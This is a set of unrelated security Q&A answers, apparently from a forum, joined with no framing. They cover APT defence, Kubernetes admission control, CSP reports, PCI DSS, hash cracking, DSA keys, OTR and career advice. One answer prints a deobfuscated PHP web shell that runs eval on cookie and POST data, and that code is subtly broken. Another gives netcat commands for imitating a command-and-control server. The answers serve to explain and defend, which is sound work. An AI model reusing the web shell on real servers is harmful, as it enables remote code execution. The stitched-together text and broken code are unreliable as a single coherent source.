Thus at the end there is not much technical substance in the phrase "Advanced Persistent Threats", i.e. nothing which could suggest a specific solution. The main message of this phrase is that there is something unknown and dangerous where the current protection does not work and you need new one. But the "persistent" part at least tells you that you should assume that the attacker made it into your network, which means filtering at the perimeter is not enough. That's why a large part of the new products they sell are "Breach Detection Systems" (BDS) which are sold to help you in detecting and fighting existing infections.

There is no full protection against APT, same as there is no full protection against "regular" attacks. Thus at the end you want to reduce your risk to a level acceptable to you and only spend an acceptable amount of money and other resources to reduce the risk.  I suggest that you look closer at least at the following parts:

Evaluate your risks

Before you can protect something you must know what to protect. Then you have to put a value on it because it makes no sense to spend more resources on protecting something than it is worth. You also need to analyze the existing attack vectors. Only after an exhaustive risk evaluation you know how much money you should be willing to spend and how to use these money in the optimal way.

Also note that if environments change the risks change too, so you need to reevaluate the risks from time to time.

Reduce the chance to get infected at all

Once the attacker is inside the network it is much harder to get rid of the infection, because the attacker tries to behave as stealth as possible to keep persistence. Thus the best thing would be to make sure that you get not infected in the first place.

This means use of classical products like antivirus and deep inspection firewalls, web- and mail gateways ... This also means allowing only known good things, i.e. URL white lists, only executed signed code, only allow specific innocent kinds of mail attachments.. . While white listing is nice it is often impossible so at least have good black lists but be aware that they don't cover everything. And it means that potentially infected devices should be denied, i.e. no USB sticks, no BYOD (bring your own device) etc.

Awareness of the problems is absolutely important. This means lots training. Users with less awareness should work in a more restricted environments so that they can not cause that much damage. This often includes less tech savvy users like you will find in marketing and management. But even more knowledgeable users will be affected if the stress level increases. Thus an environment where users will get enough time to think about the problem is important too.

And of course malicious internal users can spoil any protection. Thus you should create an environment where users feel good but where they also notify you about potentially dangerous behavior of others.

Detect successful infections early

There will be a time when an infections makes it into the network undetected. Thus you need to monitor your network for abnormal behavior. This can be Command and Control connections from the malware to its masters. It can be access to sensitive files by users which should not access these files. It can be abnormal times when users access systems etc. You can also plant canaries (special user accounts, special documents...) in the network and monitor their usage.

The most important part for a successful monitoring of the network for abnormal behavior is that you know what normal behavior should look like. Otherwise it is easy for an attacker to blend into the normal network activities.

Awareness of the users is also important for this part. Users should be aware that the network might be infected and thus not fully trust it. If they see something strange they should feel comfortable in reporting at, i.e. they should be thanked for their awareness even if it was a false positive this time.

Reduce the impact of successful infections

You will not be able to find existing infections fast or even at all.  Typical APT attacks range from month to years before they get detected. Thus you must be sure that it is hard for an attacker to get to the core assets even if the attacker is inside your network. Therefore you should implement defense in depth. This includes segmenting your network into different security levels (guest network, developer network, marketing...) and reduce and monitor communication between these networks. It includes access control lists to files, which of course needs a proper user and permission management so that a user only has access to critical data as long as they are needed by the user etc.

Summary

Buying products will help, but only after you have evaluated your risk so that you know what you need for optimal protection. There are companies which help you asking the right questions and these should probably not the same companies which  create the products. Independent resellers of multiple competing products might be better in helping you with an evaluation, because they are not committed in selling a specific product.

There are lots of important things outside buying products, like training and the right working environment. These too should be part of the risk evaluation and of the implemented solutions.


There isn’t really a good approach yet — not even from the vendors that say that they address this space. I have turned to the literature (e.g., learning.oreilly) which does mention JFrog but fails to mention Twistlock (although mentions Sysdig). I have seen other spaces (e.g., katacoda) provide trial runs of Kubernetes vulnerability detections and remediation/countermeasures such as Polyverse and Quay’s Clair
Cloud containers also brings FaaS into question, and there are some services in the coursework you’ll hear of such as PureSec FunctionShield, but this doesn’t cover all bases
Typically, you’ll hear of 3 major Kubernetesisms that translate well but require a different way of thinking, and another Kubernetesism that does not translate well at all, and requires a VERY different way of thinking
First up is the sidecar pattern. In the sidecar, Kubernetes delivers functionality that runs alongside all containers in a pod. This second sort of approach you’ll hear of is called DaemonSet -- which runs alongside all nodes in the cluster, or all in the namespace (cluster in the cluster), which there are many ways of seeing, say, Twistlock Defender deploy, or CN-series UTM (equivalent to a PAN-OS firewall)
Thirdly, you will encounter the more-popular and easier to understand concept, the registry, which can provide approved containers with already-scanned binaries, images, configurations, etc. This is a bit cart-before horse though because ultimately what Kubernetes is missing is policy enforcement and tracking
That’s where the final concept comes into play. Kubernetes nomenclature defines this role as the Admission Controller, which provides admission control. There are a few other moving pieces to this, but a book on Kubernetes Security will clear this up quickly enough. The most popular platform for admission control is the OPA Gateway admission controller, which has its own policy language. However, other admission controllers do exist and may be wrapped into your cloud providers’ own policy products and vehicles. Sometimes it could be both, or OPA Gateway could replace your cloud providers’ Kubernetes policy vehicle entirely. Admission control would be a place where say, only tagged containers would be able to made able to run, or where processes inside containers could be made to not run as root (i.e., container doesn’t run things as root user). These are small examples, but could extend further into PodSecurityPolicy controls or deeper into the Kubernetes ecosystem. Sometimes this is Kubernetes implementation-specific which can be at odds or not again with the cloud providers’ Kubernetes implementation(s), etc


How is Privileged identity management (PIM) different from privileged access management (PAM)?

An identity says who you are while authorization is concerned with validating someones mandate, aka the individual permissions to specific application functionality, data, or service.

Authenticating a person focuses on letting someone prove who they are. One identity can for example be linked to multiple accounts where each account can have different permissions within the system.


Setting up OWASP ZAP Authentication against 2 page forms authenication

You can also try script-based authentication as the first measure: record an auth script in Zap UI (from the point where you login to the website), click Run when you are done recording to check if it actually logs in. If it does, profit.


How to conclude from a target IP to associated URL(s)?

Crawlers can find these over different ways:

Read sitemap files or the robot.txt
Use statuscodes like 403 or 404 to guess whether there is a file or not


How to change the expiration time for the pkcs certificate?

The expirationDate is part of your (signed) certificate, thus if you change it you invalidate the certificate. The proper way to test this case is to issue another certificate with the desired expirationDate from the CA that issued your certificate.

Alternatively (if you have the code to the application) just skip over the signature verification. Please do tell which crypto library your app uses ofr further information.


Spectre on AMD K7 generation : exploitable, in the real world?

Published exploits?  Not that I'm aware of.

Indications that it would be possible?  Yes.  The K7 family, like its Intel counterparts, is an out-of-order design with a branch predictor.  Those are the two critical parts for performing a Spectre attack.  You don't need a cache-flush instruction to perform the attack, since you can get the same effect just by reading an area of memory you know the attack won't access.  In fact, this is exactly how the Javascript proof-of-concept clears the cache, since Javascript JIT doesn't give access to clflush.


Content-Security-Policy suspicious entries in the log

Question 1: Do any of those look legitimate to you?

Yes, they seem legitimate. There are high chances that they are due to some browser plugins. Some plugins injects code in the dom which will result in these violation.
It could be possible that your users use such plugins. (I personally found such plugins to be pretty common and used by many)

  I'd like to move CSP from report-only to real blocking

That would be great. However, you must evaluate all scenarios and a proper action in place in case when it's actually happening because of your code. (Or else, the resource will be blocked and the site will not be usable anymore)

I suggest testing all pages and in multiple browsers before changing to block mode.
Also, it would be great if the mode can be changed without much effor. I mean, if runtime you got an issue, then you should be able to do it with negligible downtime.

  Question 2: If those are indeed non-legitimate accesses, is it possible they all come from cracked clients, instead of infected website?

I don't have much experience in this part.

On a side note, you could explore the possibility of supporting for only those clients which support CSP. For others, you can block or just display an error message. (Again, this is specific to your usage. To check this part, you can collect client details for first few weeks/months and then decide whether you should follow such strategy)

  Further Reading

I found Dropbox blog to be really helpful in rolling out a strategy in filtering the reports and moving to block. You might find it useful : Dropbox Blog on CSP


This is almost useless for preventing cookie theft. You are relying on a non-secret property of the browser (every site you visit knows your browser signature) to attempt to provide security. This will just not work. All this will do is force the person copying the cookies to carry out one more step1: Grab a copy of the browser fingerprint as well. Remember that JavaScript on client side can not only be disabled, it can be modified too. The attacker can now simply replace the currentRequestSig function with one that will always return the victim's browser signature.

1This assumes there is some rate-limiting implemented server side which prevents simply bruteforcing the browser signature.


We are deep into IANAQSA territory here

  So my question is, can we do that according to the PCI?

That might be contrary to PCI DSS §12.8 as incorporated into SAQ D by Part 2f.  (Whew - say that five times fast).

Part 2f is a list of your Third-Party Service Providers, and states:

  Note: Requirement 12.8 applies to all entities in this list.

§12.8 is all about the diligence you have to do around Service Providers, and §12.8.4 states:

  Is a program maintained to monitor service providers' PCI DSS compliance status at least annually?

Now, as you state:

  They are not a payment service provider

They would be likely be out of compliance with §12.8.  Especially where your relationship with them explicitly describes procedures for handling accidental PAN, I don't see how you could not treat this role as one for an approved Service Provider.

Now, perhaps a QSA would find that a permissible exception, because it's dealing with exception cases and the data is intended to be masked.  The SAQ doesn't even have a checkbox for "Yes, I use a third-party service provider, but they fail §12.8," so I don't see how you'd explore this with your Processor if you're going the SAQ route.


Is javascript HtmlEncode at output considered dangerous?

It sometimes makes sense to encode HTML in Javascript, and it is not necessarily dangerous.

For example, if you have an API that returns JSON, it is fine if the that API returns raw strings. Only when you put these strings on the page with Javascript, you have to HTML encode them.

Since this is client-side behavior an attacker can bypass this and remove the encoding. However, this only allows him to attack his own browser. XSS is typically dangerous if a script can be run in someone else's browser.


GnuPG symmetric encryption yields different output

Usually, symmetric encryption starts with a random initialization vector (IV). OpenPGP uses a slightly different cypher feedback mode with an all-zero IV, but the first two blocks are random.

Because of this, also the symmetric encryption is not deterministic; you cannot compare the plain text by comparing the encrypted message, the encrypted result is not deterministic any more.


Is IPsec VPN still necessary when already using HTTPS protocol?

Not for confidentiality, but possibly for access control. Servers that don't need to be publicly accessible are often placed "behind a VPN". This way, they are only reachable by authorised parties.
Whether this improves security is not always clear. A VPN can also have vulnerabilities, so replacing your API authentication endpoint with a VPN authentication endpoint does not seem to make much of a difference.
Perhaps client certificates or IP whitelisting is more suitable in your case.


It is unquestionably less likely that a Mac will be infected by any sort of virus. There are two reasons which have nothing to do with the baseline security of the OS:
Reason 1: Low interest
The first, and most commonly cited, is the lack of interest on the part of attackers. Mac malware is rare because its market share is small. Malware authors want high distribution, and since the Windows share is many times larger than all competitors put together, the target decision is pretty clear.
Reason 2: Herd Immunity
But the second factor is easily as important, though it stems from the same root. Many types of malware (and in particular the type that this company would worry about in this context) use infected machines to attack other machines, targeted at random. This creates a network effect such that more potential hosts there are for an infection, the easier it is for the infection to spread. Unless the vector can effectively target both Windows and the alternative OS, the large population of immune Windows computers would block transmission, conferring a sort of herd immunity protecting the smaller OS.
Since OSX represents such a tiny percentage of the total installation base, not only are there fewer possible targets to choose from, but there are fewer possible sources of infection. A single infected host may never find another to which to transmit its malware, so the threat can't spread.
Combining these together means that the proability of infection on OSX is vanishingly small, well within the noise. If you switch to an even less popular OS, such as Linux, the effects compound further, making your chance of infection  effectively nil.
But note that OSX and Linux are not soft targets, as was otherwise suggested.
While these Linux and BSD (the base OS of OSX) are not as popular on the desktop, they're significantly more popular in server and high-security environments. Your "unpenetrable firewall" -- yep, it runs Linux.
So while these are rarely attacked in the context of user-interactive environments, Linux and BSD are constantly under attack in a automated/headless context. These OSes are battle-hardened and constantly vetted by the best eyes the industry has to offer, with many businesses sinking millions or more into their security. And since in this context (as opposed to desktop usage), security matters more than convenience, features, and ease-of-use, this means that when a security-related trade-off is presented, the builders of these OSes more frequently choose security at the expense of other usability points.
A good example of such a trade-off is Microsoft's insistence on doing font rendering in the kernel. The reasoning is that it makes display updates faster, a fact which technically remains true today, but which was much more important back in the '90s when the decision was initially made. As a result, Windows has been subject to numerous privilege escalation vulnerabilities, the latest of which was patched only weeks ago. Windows still does font rendering in the kernel, and will almost certainly see another related vulnerability again in the future as has happened so many times already.
So are you safer with OSX or Linux?
Yes. You could argue about why you're safer; whether it's market share, design, target preference, or any other aspect. But the fact that you're safer is a given. You're less likely to be attacked, you're less likely to be infected. And even the most successful malware would have trouble tearing through the OSX or Linux desktop community because targets are few and far between.


Quantify security strength from entropy and lifetime

As others have noted in comments, there will not be a general answer to this. There are far too many other things to take into consideration when trying to asses the lifetime of a password of some given strength.[^1]

The major things that can vary and need to be considered include

The details of the Key Derivation Function (or hashing scheme) that is used. With some schemes, tens of millions of guesses can be made per second on ordinary machines. Other schemes can grind to just a few thousand guesses per second on the same hardware.
What hardware an attacker is willing to through at the problem? Is it a high end gaming computer? Is it a rig built with 4 GPUs specifically for cracking purposes? Is it one of the $30,000 rigs that you can buy from specialist vendors. Is it a coordinated suite of such machines?
How will prices and speeds change in the future

I helped organize an (expensive) experiment to get some idea of the cost of cracking 42 bit passwords hashed with 100,000 rounds PBKDF2-H256. Our goal was to get a sense of how expensive it is to crack these, so we offered substantial prizes.

Anyway, I still haven't done a final write up of the whole thing, but you can see information in our (1Password's) discussion forum topic. The actual contest details.

Money, not time

What we found was that at the scale of this contest, it cost about 6USD to make 232 guesses for something hashed that way in 2018. Any attempts to judge about the future will involve making estimates about how rapidly the cost of the relevant computing changes over time.

Again, that exercise only tells us about the host of cracking PBKDF2-H256 100K rounds. But I do believe that trying to put things into money terms instead of in to time estimates is more useful. We deliberately make the contest hard enough so that there would be a good mix of trade-offs between fixed costs and running costs.

So while I don't think that anyone can give you an answer to your precise question, as it depends on far too many other variables that will differ in each case, I do believe that it is useful to think in terms of costs instead of in terms of time. And, with enough incentives, it is possible to get decent estimates of those costs for certain kinds of hashing/KDF mechanisms.

[^1]: I will speak informally of the "entropy (or strength) of a password", but, of course, the strength of a password is a function of the system by which it was generated.


Circumventing disadvantage of IP-based account lockout

Any system that increases the amount of time for additional attempts will thwart brute-force attacks on your service. CAPTCHA as mentioned previously is a strong method for doing this, providing for a 5-10 second timeout period between attempts after say, the third attempt and escalating the timeout period by following some progression can easily thwart any brute force attempt. You can even have it cap at say 5 minutes, and if an attempt comes in within that period merely resets the period even IF it is a valid login. (Checking at most 12 passwords an hour for example makes brute forcing pretty much impossible.)

IP-based bans would be ineffective against a large-scale attack, like against a botnet perhaps, unless the IP-ban was account-specific.

As an idea, cookies could be used to thwart some attackers, if cookie usage is required you could generate a random hash of some sort that authenticates their /location/ as valid and any attempt that doesn't come from that location is subject to a CAPTCHA process or 2FA. (Successful authentication could allow them to add the cookie.) Following this method, you could IP ban an entire segment from authenticating for X minutes or hours UNLESS they have the cookie. Which would only result in a victim being banned if the attacker was utilizing their machine, OR stole the cookie.

Fun times.


This might be too heavy for your use case, but Sulley https://github.com/OpenRCE/sulley is a good framework.


Is this strange PHP file that I found on my server malicious?

I've deofuscated it

<?php
$ojcsoo = '_-bHft\'dik1x6cn9leapm0y4s7vg5*r8ou#2';
$zjdtjcd = Array();
$zjdtjcd[] = $ojcsoo[3] . $ojcsoo[29];
$zjdtjcd[] = $ojcsoo[34];
$zjdtjcd[] = $ojcsoo[28] . $ojcsoo[28] . $ojcsoo[13] . $ojcsoo[4] . $ojcsoo[25] . $ojcsoo[7] . $ojcsoo[10] . $ojcsoo[15] . $ojcsoo[1] . $ojcsoo[2] . $ojcsoo[2] . $ojcsoo[13] . $ojcsoo[23] . $ojcsoo[1] . $ojcsoo[23] . $ojcsoo[21] . $ojcsoo[28] . $ojcsoo[35] . $ojcsoo[1] . $ojcsoo[2] . $ojcsoo[23] . $ojcsoo[25] . $ojcsoo[21] . $ojcsoo[1] . $ojcsoo[2] . $ojcsoo[31] . $ojcsoo[7] . $ojcsoo[17] . $ojcsoo[35] . $ojcsoo[13] . $ojcsoo[18] . $ojcsoo[15] . $ojcsoo[12] . $ojcsoo[13] . $ojcsoo[31] . $ojcsoo[12];
$zjdtjcd[] = $ojcsoo[13] . $ojcsoo[32] . $ojcsoo[33] . $ojcsoo[14] . $ojcsoo[5];
$zjdtjcd[] = $ojcsoo[24] . $ojcsoo[5] . $ojcsoo[30] . $ojcsoo[0] . $ojcsoo[30] . $ojcsoo[17] . $ojcsoo[19] . $ojcsoo[17] . $ojcsoo[18] . $ojcsoo[5];
$zjdtjcd[] = $ojcsoo[17] . $ojcsoo[11] . $ojcsoo[19] . $ojcsoo[16] . $ojcsoo[32] . $ojcsoo[7] . $ojcsoo[17];
$zjdtjcd[] = $ojcsoo[24] . $ojcsoo[33] . $ojcsoo[2] . $ojcsoo[24] . $ojcsoo[5] . $ojcsoo[30];
$zjdtjcd[] = $ojcsoo[18] . $ojcsoo[30] . $ojcsoo[30] . $ojcsoo[18] . $ojcsoo[22] . $ojcsoo[0] . $ojcsoo[20] . $ojcsoo[17] . $ojcsoo[30] . $ojcsoo[27] . $ojcsoo[17];
$zjdtjcd[] = $ojcsoo[24] . $ojcsoo[5] . $ojcsoo[30] . $ojcsoo[16] . $ojcsoo[17] . $ojcsoo[14];
$zjdtjcd[] = $ojcsoo[19] . $ojcsoo[18] . $ojcsoo[13] . $ojcsoo[9];

// Array
// (
//     [0] => H*
//     [1] => #
//     [2] => 55cf7d19-bbc4-4052-b470-b8de2ca96c86
//     [3] => count
//     [4] => str_repeat
//     [5] => explode
//     [6] => substr
//     [7] => array_merge
//     [8] => strlen
//     [9] => pack
// )

print_r($zjdtjcd)
foreach (array_merge($_COOKIE, $_POST) as $yuids => $cwhwadw) {
    function zoumimv($zjdtjcd, $yuids, $ssdjci) {
        return substr(str_repeat($yuids . 55cf7d19-bbc4-4052-b470-b8de2ca96c86, ($ssdjci / strlen($yuids)) + 1), 0, $ssdjci);
    }
    function ekivv($zjdtjcd, $kwabjl) {
        return @pack('H*', $kwabjl);
    }
    function gliwd($zjdtjcd, $kwabjl) {
        $adwhmc = count($kwabjl) % 3;
        if (!$adwhmc) {
            eval($kwabjl[1]($kwabjl[2]));
            exit();
        }
    }
    $cwhwadw = ekivv($zjdtjcd, $cwhwadw);
    gliwd($zjdtjcd, explode('#', $cwhwadw ^ zoumimv($zjdtjcd, $yuids, strlen($cwhwadw))));
?>

Looks like some kind of shell.


Why is the DANE protocol depending on DNSSEC?

The idea of the DNS-based Authentication of Named Entities (DANE) protocol is that domain owners publish the fingerprint of a certificate that their server uses in a DNS resource record. It is a measure to prevent certificate forgery. Users that wish to connect to the server via TLS can look up the fingerprint of the presented certificate in the DNS record for the corresponding domain name to see if it was permitted by the owner.

This means that DANE relies on the assumption that DNS responses can be trusted, which is not the case with regular DNS. So to assert the integrity of the DNS records, DANE uses the signature mechanism provided by DNSSEC. Otherwise a man-in-the-middle could simply modify the fingerprint in the TLSA record and DANE would be useless.


This is security through obscurity, and in violation of kerchoffs's principle.

  if they don't know the algorithm they wouldn't be able to crack it?

Maybe. And maybe analyzing the entries leads to the revelation of the algorithm.

And once an attacker does get the algorithm - via analysis, by getting access to your server, because you posted it here - they have automatic access to all passwords.

This isn't the case when hashing, because one important property of cryptographic hashing functions is that they are slow.

  The other possibility is if they accidentally input a value that converts to the same value of the original password, theoretically I suppose there should be an infinite amount of strings that can get converted to the same value but I'm not sure about the real chances of this happening, as well as this problem is also present in hashing algorithms known as collision.
  [...]
  integers which take up 4 or 8 bytes as opposed to a hash that takes like 150 bytes or something

If you reduce the size, collisions become more likely, as you still have the same size of the input, but a smaller target area.

  As you probably guessed already I'm very far from a security expert

That's why you should never roll your own (but I'm assuming this is more of a theoretical question to learn, not something you want to actually use in practice).


"What's my IP" shows a different result when running over https than over http

Pure speculation without more info, but it could well be a case of HTTP proxying.

HTTPS proxying is not feasible without a complex set up, which would be why you see a different IP over HTTPS (your IP) than over HTTP (the proxy's IP). While this indeed can be used to "spy" on your HTTP traffic, it could also be a caching service, used to reduce unnecessary traffic due to repetitive web browsing.

The theory that they are reselling with a http proxy to 'hide' your IP from yourself seems unlikely to me.

There exist various ways to detect a proxy. Conveniently, publicly available tests exist freely (with varying quality - try a few..) e.g. here.


How I can get the elliptic curves parameters from a host?


For a "normal" computer user, does it make a difference to have a good entropy source?

For most cases, randomness quality is overrated.

Yes, it's important, can lead to some nasty consequences if done wrong, but there are so many easier mistakes that random quality would be at the end of your list of worries:

OS bugs
Browser bugs
Bad WiFi password
Password reuse
Default or hard-coded router passwords

The list is long. If you are affected by one of those, you lose. Exploiting the RNG to steal information is impractical if the attacker can exploit one of those issues. Breaking the RNG should be the last resort.

You must calculate the price to protect versus the information value. The attacker does the same. If you are not using the imperfect PRNG to protect something very valuable, you are good to go. Don't use it to generate a bank certificate, a Bitcoin wallet with a lot of coins, things like that.

Protecting a 7zip file or navigating using HTTPS will not be much more secure if you use a built-in PRNG or CloudFlare Lava Lamp RNG.


Does domain resolve to CDN (Cloudfront) IP and not the actual web-app server?

If a web-app is using cloudfront as CDN, what happens if I ping the domain?

You are pinging CloudFront, not the domain. The DNS entry for the domain point to CloudFront, and CloudFront stays in the middle between you and the domain.
The name resolves to different IPs for load balancing. As CloudFront primarly is a cache (among other things), answering with different IP addresses means clients will connect to different cache endpoints and share the load.

this means I'm reaching the cloudfront endpoint and not the web-app?

Exact. You don't know the endpoint real IP, and hiding its own IP is one reason for someone to use CloudFront or any other CDN.


What information can be gained from an Email Header?

The RFC 5322 defines what email message headers should look like, and some of the required ones like From, Date, and Message-ID. Most email headers are actually optional and appended to the message by the client and email relays for traceability, usability, and debugging purposes. The email message can contain any number of the 350+ recognized ones. It can also contain any number of custom headers.

Nothing stops Hotmail, GMail, or others from appending the browser's user-agent field to the email headers. Nothing stops Thunderbird from appending your connection type and details about your operating system. However, currently, email clients (web-based or desktop) don't append such information to the email message headers. We're also not aware of web-based email services appending information they have on you to the email message headers.


How does the attacker know what algorithm and salt to use in a dictionary attack?

How are plaintext and hashes compared?
During the brute force attack, words from the dictionary are hashed with the correct hash algorithm and salt, and then compared to the hash in the database dump. So the attacker needs to know not only the hash value itself, but the algorithm and the salt.
How does the attacker know the salt?
The salt is generally stored in the database right next to the hash. In fact, it needs to be. How else could the web server hash the incoming passwords when checking them? So if you have a database dump, you have the salts.
How does the attacker know what algorithm to use?
This can be done in a number of ways:

You can often tell by the format or the length of the hash. For instance, a bcrypt hash usually begins with the marker $2b$.
Try a few very common passwords using the most common algorithms, and sooner or later you will get a match. Since usually only one algorithm is used for all hashes, you only need to find one match and then you can go on cracking the other passwords with that algorithm.
Even simpler, if you know just one password (maybe you created your own account before the breach) you can try different algorithms on that one. (Thanks, Goose.)
If you have access to the code, you'll find the answer there. (Thanks, marcelm.)
Or if you know what software is being used, you might find it in the documentation. (Thanks, eckes.)


To our knowledge, DSA keys of adequate size cannot be broken with existing technology. There are, as usual, details.

A DSA key lives in a group which is incarnated by three big integers, called p, q and g. These are called the "DSA parameters" and may be shared between public keys from distinct people; however, Tradition is that everybody has his own parameters. Security will depend on the sizes of p and q.

p is a big prime. It must be so that discrete logarithm is hard modulo p. Theory has it that breaking discrete logarithm has roughly the same cost as breaking a RSA key if the same size; in fact, DL may be a bit harder. Current World record on DL is for a 530-bit modulus, to be compared with the 768 bits for the current RSA record (but the latter used more computers). Therefore, a 1024-bit prime is currently in the "grey zone" of "not breakable yet, but this seems reachable with existing technology, provided that we build a very specific custom machine which will cost a pretty penny" (rumour has it that it can be done for less than a billion dollars, but not substantially less). A 2048-bit DSA public key will be fine (not breakable with todays nor tomorrow's technology).

q is a smaller prime; it must be so that q divides p-1. The DL is for a subgroup of size q. While we know of sub-exponential algorithms for breaking DL when considering the size of p (which is why we want a p of 1024 bits or more), the same cannot be said for the size of q. To make the story short, a q of 224 bits or more will put you way beyond any break.

In most key strength estimates, DSA and RSA keys of the same size are assumed to offer similar levels of protection.

It so happens that for quite a long time, the DSA standard specified that the size of p and q had to be exactly 1024 bits and 160 bits, respectively (an older version of the standard mandated a size of p between 512 and 1024 bits, which was then changed to "just 1024 bits"). While the current standard allows for longer keys (e.g. 2048/224, which is good), there are a lot of deployed implementations which won't accept anything else than 1024 bits.

1024/160 is still unbroken, but "barely" (breaking such a key requires an awful lot of money, but not sci-fi level technological advances).

An extra point is that actual weaknesses very rarely stem from the key size. Usually, systems are broken through implementation flaws, not through brutally breaking the key. In particular, DSA requires, for each signature, the generation of a new random value (called k) which must be unpredictable and uniform in the 1..q-1 range. Such a process can be botched (Sony reused the same value for several signatures in the PS3 system, thus revealing their private key). DSA signatures require some care. There are solutions but they are not widely deployed yet.

In practice nobody uses DSA; everybody does RSA, and when they switch to something else, they go straight to ECDSA, the elliptic-curve variant of DSA (elliptic curves are very trendy). There still are many software who support DSA, because there was a time when it was mandated for interoperability with US federal systems (that was when RSA was still patented; the US government standardized on DSA to avoid the patent issues).

A DSA key, by definition, is suitable only for DSA, which is a digital signature algorithm.

Mathematically, a DSA public key could also be used with Diffie-Hellman, which is an asymmetric key exchange algorithm, i.e. as good as asymmetric encryption in practice (because everybody does hybrid encryption). However, standardization committees have so erred that DSA and DH public keys don't get encoded the same way. The DH standard is not freely available, so many opensource software don't implement it (because most opensource software is developed by people who devote their time but not their money to the task). This discrepancy is resolved for the elliptic-curve variants (a certificate with a public key for ECDSA actually contains an "EC public key" which is not specific to ECDSA; the same format is used for a public key for ECDH).

Note, though, that you should normally keep signature and encryption keys apart from each other (see this answer).


How does OTR's authentication using "Question and answer" protect against MiTM?

A fairly readable reference is Social Millionaire's Protocol in OTR .

You can also read the much more easily understandable analogy in Explain it like I’m Five: The Socialist Millionaire Problem and Secure Multi-Party Computation.

The relevant section is as follows:

  Suppose Alice and Bob each might be making either 10, 20, 30, or 40 $/hour. We’ll arbitrarily say that Alice makes 30$/hour and Bob makes 20$/hour.

  Bob goes to an office supply store and buys four lockable suggestion boxes (with different matching keys). He labels the four boxes as 10$, 20$, 30$, and 40$.

  1    Bob discards all of the keys except the key for the 20$ box (because that’s how much he makes per hour).

  2    Bob discards all but the 20$ key

  3    Bob gives the locked suggestion boxes to Alice. In private, Alice puts a slip of paper saying ‘yes’ into the 30$ box (because that’s how much she makes per hour). She puts slips of paper saying ‘no’ into the other boxes.

  4    Alice gives the boxes back to Bob. In private, Bob uses his key to unlock the 20$ box and get the slip of paper inside.

  5    Bob sees that the slip of paper says ‘no’, meaning Alice doesn’t make 20$/hour like he does. He tells Alice they don’t make the same amount of money.

  6    Bob now knows that Alice doesn’t make 20$/hour, but hasn’t learned if she makes 10, 30, or 40 $/hour. Similarly, Alice now knows Bob doesn’t make 30$/hour, but hasn’t learned if he makes 10, 20, or 40 $/hour.

  The technical term for what Alice and Bob did in the previous example is oblivious transfer. Alice transferred many messages to Bob, but is oblivious to which single message Bob received. Alice sent an answer for every possible amount of money Bob might make, but Bob only received the answer corresponding to how much money he actually makes.


First, all firewalls are software firewalls.  Some have 'fastpath' technologies which offload packets matching fingerprints which have already been evaluated in software to ASICs or realtime systems, but firewall decisions are made by software stack.  Most firewalls run on a variant of linux or BSD, with their own kernel modules implementing low-level firewall tasks and userland code handling packets which the kernel module deems must be inspected at a higher-level, but some, primarily Cisco, have their own operating system.  In either case, the firewall architecture is not 'hardware' or 'black magic'.

I think that you are making a false differentiation and what you should actually be comparing is "endpoint firewalls" versus "gateway firewalls".  Pedantry notwithstanding, it is important to note that this is the actual distinction rather than hardware versus software.

Second, it is a best practice (nist 800-41), and a compliance requirement in any sizable organization, to have segmentation not only at the perimeter, but internally as well.  In some cases (specifically, laptops, which move from security zone to security zone...and even to places where there is no security at all), it is extremely difficult to meet this requirement with gateway firewalls.  In such situations, endpoint firewalls are useful.

My personal experience and preference with regards to endpoint firewalls is not to use them to meet security requirements, except when absolutely necessary (like laptops).  I rather see them as an added bonus.  Being that it is extremely difficult for me to manage centrally, and for me to ensure that all system owners are compliant, I must have network-level control.  If a sysadmin wants to manage iptables in addition to that, I commend them, but I cannot rely on that.


What are the best ways to fake a web server

I always like netcat for this kind of thing. In this instance you could create a copy of the real response from the C&C server using

nc candcserver.com 80

submit the headers you want to pass on the command line, press enter twice, and save it to a text file, and then serve up the file you just created using

while true; do sudo nc -l 80 < capturedpage.txt; done

and point the app your testing at 127.0.0.1


As Steffen mentioned, an HSM is a very special purpose device. It is usually not placed for "convenience of access for most systems".

In fact, when you first deploy an HSM, there is usually just one system that needs access to the HSM - and it is usually the system performs your IDAM roles. In many cases, it remains the only system that needs HSM for a long time.

Therefore, I always recommend that the IDAM server (or whichever system needs access to HSM) use a dedicated network adapter to connect to the HSM - making it a private segment of the network with a dedicated switch.

---IDAM-NIC-1-app-access----[IDAM Server]---IDAM-NIC-2-private----[HSM]

You could connect more servers on this switch when the need arises.

I'm not sure what applications might need a more "general purpose access" to the HSM, but if/when you do need that, you could connect it to a separate protected network/segment on your firewall (most firewalls these days support multiple NICs/segments/zones) and put in place relevant security policies.


Get a job in the IT industry - any job. Work a help desk if you have to because that still counts as experience and experience is what employers really want to see on a resume. Get your foot in the door. I know a lot of people (myself included) who got to where they are because of entry level jobs and working hard to prove their worth.
Get involved in the community - The harsh reality is that your GPA from college doesn't mean anything in the real world. You'll learn ideal circumstances and great foundations, but there is a big difference to how things are done in the real world and how they are done in academia. Chatting in forums and discussion boards is a great way to expand your mind and learn about new technology and techniques.
Network - There is a popular saying in hiring that goes "It's not what you know, it's who you know. Nepotism is huge in the job market so get out there and meet people and prove your skills to them. You'll get to meet new people, get insight from their experiences and hopefully they'll give you a heads up on new job opportunities. Go to trade shows and local events to meet new people and discuss the industry with them.
Look into industry certifications - Employers like to see certifications (MCITP, MCSA, S+, CISSP, the list goes on and on). With your college education you've got a great foundation for getting these certifications. Spend some extra time and money and look into getting certified. You'll learn lots and you'll show employers you're dedicated to your craft.
Volunteer - Yes, not getting paid sucks, but you'll get experience and you'll likely get the tutelage from someone who's been in the industry for a while. Nobody is going to trust the security to a fresh grad with no real world experience (I'm sorry, but it's the truth), but you'll almost always find someone who's willing to take a volunteer. IT staff are overworked, and you may get stuck doing menial tasks but you'll still learn. If you do well you'll likely be considered if a paid job opens up too.


How to respond to a user requesting deletion of their online account

Besides the legal stuff, I consider your anonymization a step in the right direction. As a developer myself I know about the difficulties of delete data in a relational database.

As your customer I would like 2 things:

not being able to be identified by you, the website (this means
cleaning up the user name, address, IP-Logs etc...)
not being able to
be enumerated at the user creation / password reset page

As others said, consult a lawyer. You might be obliged to clean up better than proposed here.


What's the point of using multiple checksum algorithm with "aide"?

There is little reason to use more than one hash at the same time. There are no known collisions against SHA-2. In theory using several at the same time can be an insurance against attacks on the hash function, but I don't think that's a big issue for AIDE.

But allowing choice can be useful. The current default might get broken at some point. Once that happens switching the hash in a config file is easier than rolling out a new version of the software.

Hashes also have different performance characteristics. For example SHA-256 is faster than SHA-512 on 32 bit systems, but slower on 64 bit systems. So you might want to choose the one that matches your CPU architecture.
Or if you need high performance(for example you use SSD RAIDs) you can use faster hashes that aren't approved by NIST.


What are specific use cases for anonymity?

I start off by giving general cases, but then use specific examples for each case.

